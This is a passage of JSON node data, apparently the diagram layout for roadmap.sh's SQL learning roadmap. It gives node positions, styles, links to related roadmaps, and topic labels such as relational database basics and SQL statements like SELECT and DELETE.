{\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" }\n      },\n      \"positionAbsolute\": { \"x\": -314.2510816711185, \"y\": 1122.8834408721723 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": { \"width\": 219, \"height\": 196 }\n    },\n    {\n      \"id\": \"5iMBYXe8Al0ZeiRBnJ-cn\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -193.26200280604616, \"y\": 821.8865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 287,\n      \"style\": { \"width\": 21, \"height\": 287 },\n      \"positionAbsolute\": { \"x\": -193.26200280604616, \"y\": 821.8865696806382 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 287 }\n    },\n    {\n      \"id\": \"H-11E5G6rdTKj3k7PK12l\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -612.7510816711185, \"y\": 1124.7304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 244,\n      \"height\": 216,\n      \"style\": { \"width\": 244, \"height\": 216 },\n      \"positionAbsolute\": { \"x\": -612.7510816711185, \"y\": 1124.7304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 244, \"height\": 216 }\n    },\n    {\n      \"id\": \"6FdHTzqQwJqR4czP5qXAY\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -45.25108167111853, \"y\": 897.7304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 239,\n      \"height\": 160,\n      \"style\": { \"width\": 239, \"height\": 160 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": -45.25108167111853, \"y\": 897.7304293708296 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 239, \"height\": 160 }\n    },\n    {\n      \"id\": \"nSShTLakj1E_JAHdcsfe4\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -45.25108167111853, \"y\": 1051.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 239,\n      \"height\": 163,\n      \"style\": { \"width\": 239, \"height\": 163 },\n      \"positionAbsolute\": { \"x\": -45.25108167111853, \"y\": 1051.8865696806383 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 239, \"height\": 163 }\n    },\n    {\n      \"id\": \"OPT7zGno_ghrrj4dAUKaW\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -369.7510816711185, \"y\": 967.7304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 20,\n      \"style\": { \"width\": 96, \"height\": 20 },\n      \"positionAbsolute\": { \"x\": -369.7510816711185, \"y\": 967.7304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 96, \"height\": 20 }\n    },\n    {\n      \"id\": \"vVvwzfWSzMXhGop1nX_9k\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -612.7510816711185, \"y\": 914.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 244,\n      \"height\": 214,\n      \"style\": { \"width\": 244, \"height\": 214 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -612.7510816711185, \"y\": 914.2304293708296 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 244, \"height\": 214 }\n    },\n    {\n      \"id\": \"BZD3zEjZNwFZN5Erp2UwN\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -193.26200280604616, \"y\": 749.0530101616195 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 78,\n      \"style\": { \"width\": 21, \"height\": 78 },\n      \"positionAbsolute\": { \"x\": -193.26200280604616, \"y\": 749.0530101616195 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 78 }\n    },\n    {\n      \"id\": \"WigElh37ztiRYRstQR9NE\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -615.2510816711185, \"y\": 697.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 318,\n      \"height\": 73,\n      \"style\": { \"width\": 318, \"height\": 73 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": -615.2510816711185, \"y\": 697.2304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 318, \"height\": 73 }\n    },\n    {\n      \"id\": \"tUokjJrzZ4hp8c6f7iBI0\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 90.44949271295843, \"y\": 807.3865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 },\n        \"oldId\": \"Zr7u2K8_wGkPwWzTvSJJu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 20,\n      \"style\": { \"width\": 139, \"height\": 20 },\n      \"positionAbsolute\": { \"x\": 90.44949271295843, \"y\": 807.3865696806382 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 139, \"height\": 20 }\n    },\n    {\n      \"id\": \"Zr7u2K8_wGkPwWzTvSJJu\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 117.44949271295843, \"y\": 662.3865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 20,\n      \"style\": { \"width\": 139, \"height\": 20 },\n      \"positionAbsolute\": { \"x\": 117.44949271295843, \"y\": 662.3865696806382 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 139, \"height\": 20 }\n    },\n    {\n      \"id\": \"zO8ETJn55ShzPf8ifDqO2\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -271.26200280604616, \"y\": 295.2980966830105 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 20,\n      \"style\": { \"width\": 226, \"height\": 20 },\n      \"positionAbsolute\": { \"x\": -271.26200280604616, \"y\": 295.2980966830105 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 226, \"height\": 20 }\n    },\n    {\n      \"id\": \"80OaUGoB4961Qak9JZ7sS\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 147.0258491022803, \"y\": 300.7980966830105 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"style\": { \"width\": 21, \"height\": 104 },\n      \"positionAbsolute\": { \"x\": 147.0258491022803, \"y\": 300.7980966830105 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 104 }\n    },\n    {\n      \"id\": \"6yiWcpPgkAuYFZlDGlM1P\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 147.0258491022803, \"y\": 171.52074126997718 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 144,\n      \"style\": { \"width\": 21, \"height\": 144 },\n      \"positionAbsolute\": { \"x\": 147.0258491022803, \"y\": 171.52074126997718 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 21, \"height\": 144 }\n    },\n    {\n      \"id\": \"vpSPxfiH2jcZiDF4glMnG\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 348.94949271295843, \"y\": 171.52074126997718 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 111,\n      \"style\": { \"width\": 21, \"height\": 111 },\n      \"positionAbsolute\": { \"x\": 348.94949271295843, \"y\": 171.52074126997718 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 21, \"height\": 111 }\n    },\n    {\n      \"id\": \"7YsPMUciWuosgKwI9YJrI\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -611.8883211898742, \"y\": 213.5207412699772 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 233,\n      \"height\": 164,\n      \"style\": { \"width\": 233, \"height\": 164 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -611.8883211898742, \"y\": 213.5207412699772 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 233, \"height\": 164 }\n    },\n    {\n      \"width\": 21,\n      \"height\": 76,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -114.16916540260297, \"y\": -227.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": -114.16916540260297, \"y\": -227.7695706291704 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 21, \"height\": 76 },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 21, \"height\": 76 }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 110.84147172248669, \"y\": -233.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap and other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 138,\n      \"positionAbsolute\": { \"x\": 110.84147172248669, \"y\": -233.7695706291704 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": { \"width\": 329, \"height\": 138 },\n      \"resizing\": false,\n      \"measured\": { \"width\": 329, \"height\": 138 }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 121.34147172248669, \"y\": -156.7840072114252 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 308,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": { \"width\": 308, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": 121.34147172248669, \"y\": -156.7840072114252 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 308, \"height\": 49 }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -178.82615613784935, \"y\": 2214.6370362009566 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": { \"x\": -178.82615613784935, \"y\": 2214.6370362009566 },\n      \"dragging\": false,\n      \"style\": { \"width\": 21, \"height\": 104 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 21, \"height\": 104 }\n    },\n    {\n      \"width\": 483,\n      \"height\": 118,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -409.82615613784935, \"y\": 2122.8704528251837 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Have a look at the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": -409.82615613784935, \"y\": 2122.8704528251837 },\n      \"dragging\": false,\n      \"style\": { \"width\": 483, \"height\": 118 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 483, \"height\": 118 }\n    },\n    {\n      \"width\": 143,\n      \"height\": 49,\n      \"id\": \"OQpi63qND2KBXVvKBNMST\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -398.308978052272, \"y\": 2177.5597347368353 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"U0fJo2a3vnaodNJhfZ78I\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -398.308978052272, \"y\": 2177.5597347368353 },\n      \"style\": { \"width\": 143, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 143, \"height\": 49 }\n    },\n    {\n      \"width\": 168,\n      \"height\": 49,\n      \"id\": \"iuSv7V59YxUZawN38Qlli\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -108.06128192779408, \"y\": 2177.5597347368353 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MongoDB\",\n        \"href\": \"https://roadmap.sh/mongodb\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"ZSrQoNGKiR484uALMWO9F\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -108.06128192779408, \"y\": 2177.5597347368353 },\n      \"style\": { \"width\": 168, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 168, \"height\": 49 }\n    },\n    {\n      \"id\": \"R9DQNc0AyAQ2HLpP4HOk6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 130.89980850421182, \"y\": -41.63210941079885 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What are Relational Databases?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": -41.63210941079885 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 311, \"height\": 49 }\n    },\n    {\n      \"id\": \"fNTb9y3zs1HPYclAmu_Wv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 130.89980850421182, \"y\": 11.367890589201153 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RDBMS Benefits and Limitations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 11.367890589201153 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 311, \"height\": 49 }\n    },\n    {\n      \"width\": 96,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": { \"x\": -151.66916540260297, \"y\": -151.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -151.66916540260297, \"y\": -151.7695706291704 },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 96, \"height\": 68 }\n    },\n    {\n      \"id\": \"nhUKKWyBH80nyKfGT8ErC\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn the Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JDDG4KfhtIlw1rkNCzUli\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": { \"width\": 247, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 247, \"height\": 49 }\n    },\n    {\n      \"width\": 143,\n      \"height\": 49,\n      \"id\": \"U0fJo2a3vnaodNJhfZ78I\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -252.30897805227198, \"y\": 2177.5597347368353 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PostgreSQL\",\n        \"href\": \"https://roadmap.sh/postgresql-dba\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"P5IZjP0g1_fnvHy3YTR4q\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -252.30897805227198, \"y\": 2177.5597347368353 },\n      \"style\": { \"width\": 143, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 143, \"height\": 49 }\n    },\n    {\n      \"id\": \"gx4KaFqKgJX9n9_ZGMqlZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL vs NoSQL Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"style\": { \"width\": 311, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 130.89980850421182, \"y\": 64.36789058920115 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 311, \"height\": 49 }\n    },\n    {\n      \"id\": \"JDDG4KfhtIlw1rkNCzUli\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -227.16916540260297, \"y\": 159.23119080604232 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic SQL Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VJSIbYJcy2MC6MOFBrqXi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 50,\n      \"style\": { \"width\": 247, \"height\": 50 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 159.23119080604232 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 247, \"height\": 50 }\n    },\n    {\n      \"id\": \"6yoo7qC6X2jYDIjd3HIm7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -611.9219566015802, \"y\": 50.23119080604238 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL Keywords\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": { \"width\": 233, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -611.9219566015802, \"y\": 50.23119080604238 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 233, \"height\": 49 }\n    },\n    {\n      \"id\": \"tBzMDfCMh6MIagNaxCzin\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -611.9219566015802, \"y\": 103.23119080604238 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 53,\n      \"style\": { \"width\": 233, \"height\": 53 },\n      \"positionAbsolute\": { \"x\": -611.9219566015802, \"y\": 103.23119080604238 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 233, \"height\": 53 }\n    },\n    {\n      \"id\": \"ffwniprGJHZzJ7t3lQcXz\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -611.9219566015802, \"y\": 160.23119080604232 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": { \"width\": 233, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -611.9219566015802, \"y\": 160.23119080604232 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 233, \"height\": 49 }\n    },\n    {\n      \"id\": \"rmqXH29n1oXtZ8tvmcRFn\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -601.6806695765429, \"y\": 223.52268765100933 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SELECT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": { \"width\": 101, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -601.6806695765429, \"y\": 223.52268765100933 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": { \"width\": 101, \"height\": 49 }\n    },\n    {\n      \"id\": \"mPj6BiK5FKKkIQ9WsWEo6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -497.61169566972785, \"y\": 223.52268765100933 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"INSERT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": { \"width\": 111, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -497.61169566972785, \"y\": 223.52268765100933 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 111, \"height\": 49 }\n    },\n    {\n      \"id\": \"eu9dJFi6gBPMBdy08Y5Bb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -497.61169566972785, \"y\": 276.52268765100933 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"UPDATE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": { \"width\": 108, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -497.61169566972785, \"y\": 276.52268765100933 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 108, \"height\": 49 }\n    },\n    {\n      \"id\": \"ddtVaA4Ls6qRj-7OtTSIH\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -601.6806695765429, \"y\": 276.52268765100933 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DELETE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": { \"width\": 101, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -601.6806695765429, \"y\": 276.52268765100933 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 101, \"height\": 49 }\n    },\n    {\n      \"id\": \"91OF3VQdzsu_YPsT6zrVT\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -548.8883211898742, \"y\": 336.5207412699772 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Statements\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": { \"fontSize\": 17 }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": { \"x\": -548.8883211898742, \"y\": 336.5207412699772 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 104, \"height\": 36 }\n    },\n    {\n      \"id\": \"xPOeXK1EPBNG56vgfG-VV\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 118.89980850421182, \"y\": 159.73119080604232 },\n      \"selected\": true,\n  